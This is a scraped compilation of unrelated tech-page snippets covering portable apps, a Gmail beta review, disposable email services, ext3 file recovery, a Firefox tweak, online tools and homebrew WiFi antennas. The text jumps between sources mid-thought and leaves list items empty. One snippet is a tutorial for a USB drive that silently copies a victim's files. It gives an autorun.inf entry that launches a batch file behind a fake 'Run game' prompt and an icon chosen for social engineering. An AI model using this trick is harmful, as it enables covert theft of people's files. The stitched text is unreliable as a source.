WinPenPack Gathers Hundreds of Portable Apps in One Package - Po. Portable Applications - All you need is a USB... - Dev Hardware. Thanks Jaken.. As a second part of the original post, I am trying to summarize few more applications that can help you in your day-to-day chores. And I cannot emphasize more on having a portable email client that suits all your needs! John Haller loves to build portable applications. His next gift to us is Portable Thunderbird. Mozilla's original ThurnderBird is a wonderful open-source cum freeware application, a great alternative to Microsoft's Outlook.
Feel like having a calender to keep yourself scheduled?! How can you imagine a computer without virus...errr...anti-virus application?! Clamwin Portable is there to rescue. I would be worried about spywares-adwares more than virus today. Thanks Nilpo for finding me the Firewall I wanted to talk about. For an alternative web browser, you can always try Portable Opera {I am sure itsacon's gonna love this. } Many many people consider Opera far better browser in the universe. Putty is a freeware SSH client. Welcome to INFOMINE: Scholarly Internet Resource Collections.
Gmail Tips - The Complete Collection. Gmail Beta: First Impressions The other day, I received an "invitation" to beta test Google's new "Gmail" email service. After having tried and used literally dozens of web-based email services over the years, I decided to see what the buzz was all about, so I followed the Invitation instructions, and within a couple minutes, I had a new Google Gmail account. After working with this account for several days, I have discovered some things that I like about it as well as some things that I don't. Read on for the lowdown... First off, please note that this article is based on the pre-release beta of Gmail, so presumably, the public release will have additions, changes, and improvements. Webmail While Web-based email is nothing new, Gmail introduces some new and unique concepts.
But why use Webmail when I have a good client in Outlook? I'm going to first walk you through some of the "features" that make up Gmail. Advertising Let's start off with the "tough" issue first: Advertising. Logging In. 12 Unique Email Services You Should Know About « Ijaar. We all have our regular email accounts on Gmail, Hotmail or any other service of our choice. However, there are times when you don’t want to use your regular email address for one reason or another. For such times, when you need a special type of email, following services can come in very handy to serve your purpose: For all those times when you don’t really want to give out your email address to somebody but you really have to, these disposable email accounts can be very useful.
For example, if you want to register for a software but do not want to give your actual email address, you can create a temporary/disposable email account that will expire after sometime. 1. MakeMeTheKing is a disposable email service that has a nice interface. 2. Dodgit allows you to create a receive-only email address that automatically deletes all the messages after 7 days. 3. With MeltMail, you have more control of your disposable email account. 4. 5. 6. 7. noSPM: 8. 9. 10. 11. 12. How to make flash drive that copy's users files silently and aut.
Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer. Also used to change the thumb drive icon to something more acceptable for social engineering. Here is the code, you will have to open a simple word editor such as word, you can past this code into word and edit to your hearts content.
[autorun] icon=drive.icoopen=launch.bataction=Click ok to Run game for Windowsshell\open\command=launch.bat a couple of notes the code is between the lines not the lines at all so dont put them in your autorun file. also when you save this file after editing or pasing this in the editor make shure you save it as all files and put a .inf after it... like this autorun.inf look at pic two if you have any issues. You can change the icon to your tastes what you will have to do is find a .png a png file is an icon file. Online Alarm Clock. Computer. HOWTO undelete removed files and directories on an ext3 file system. Carlo Wood, Mar 2008 Introduction It happens to everyone sooner or later: a split second after you hit Enter you realize your mistake, but it's too late; you just deleted a valuable file or directory for which no backup exists.
Or maybe you have a backup, but it's a month old... and in shock you see the past month flash before your eyes as you realize in pain what you'll have to do all over again... Fortunately, you remember that files are never really deleted, at most overwritten by new content. So, you remount the disk read-only as fast as possible. But now? If you Google for "undelete ext3", almost every article you find will be users asking if it's possible and the answer is every time: no. The most frequently quoted passage comes from the ext3 FAQ itself: Q: How can I recover (undelete) deleted files from my ext3 partition? Actually, you can't! Your only hope is to "grep" for parts of your files that have been deleted and hope for the best. However, this is not necessarily true. Groups. Enable Spell Check in Text Fields in Firefox. Firefox has its own in-built spell check, but this spell check is available only in Text area and text fields (text boxes) will not show spelling mistakes.
Many times blogging titles have spelling mistakes because of this. But a simple trick can activate spell check in text fields as well. To do this, open the config file of Firefox. Type about:config in address bar and press enter. Now in the filter field, type the following value- layout.spellcheckDefault The default value of this parameter is 1. NB: In case the spell check is still not enabled, right click on the textbox and enable spell check.
15 Online Tools that You Will Come to Love as a Tech | EmergingT. I have compiled a list of 15 free online tools that will help you greatly as a tech. I’m sure that there are other good ones that I have left out so please feel free to post the ones that you like as well. IPTools offers a wide variety of online networking tools. With this site you can look up IP address information, check spam databases, run pings, run traceroutes, lookup WHOIS information and much more. BugMeNot allows you to find and share logins for sites that require you to register. This tool is great to use when you don’t want to have to go through the process of creating an account for a site when you just want to login once for something like a driver. SpeedTest.net allows you to test your Internet connection speed.
Del.icio.us is a social bookmarking site that allows you to bookmark sites and view them from any computer. Omnidrive is an online storage service that allows you to upload large files, access them from any computer, and share them with other people.
Homebrew antenna shootout. The Shootout My plan was to get relative performance measurements for various designs (including mine) of homebrew antennas for 802.11b (WiFi) wireless networks. To do this, I setup a wireless link and changed only the antenna- recording each antennas' performance under identical conditions. I didn't compare them to a commercial directional antenna as my only one has a male connector and I don't have the right cable to hook it up yet.
The contestants were (click on each for design specifications). The Performance Summary The results surprised me! In our test, the Flickenger Pringles can did a little better than my modified Pringles design. Of the waveguides, the Nalley's "Big Chunk" took top marks. With these results, I'm convinced that the waveguide design is the way to go for cheap wireless networking. The How To Build your own Tin Can Waveguide WiFi Antenna (Cantenna). Copyright 2003-2007 Gregory Rehm - All rights reserved. Introducing EchoLink. The DXZone: ham-radio, shortwave and cb-radio guide.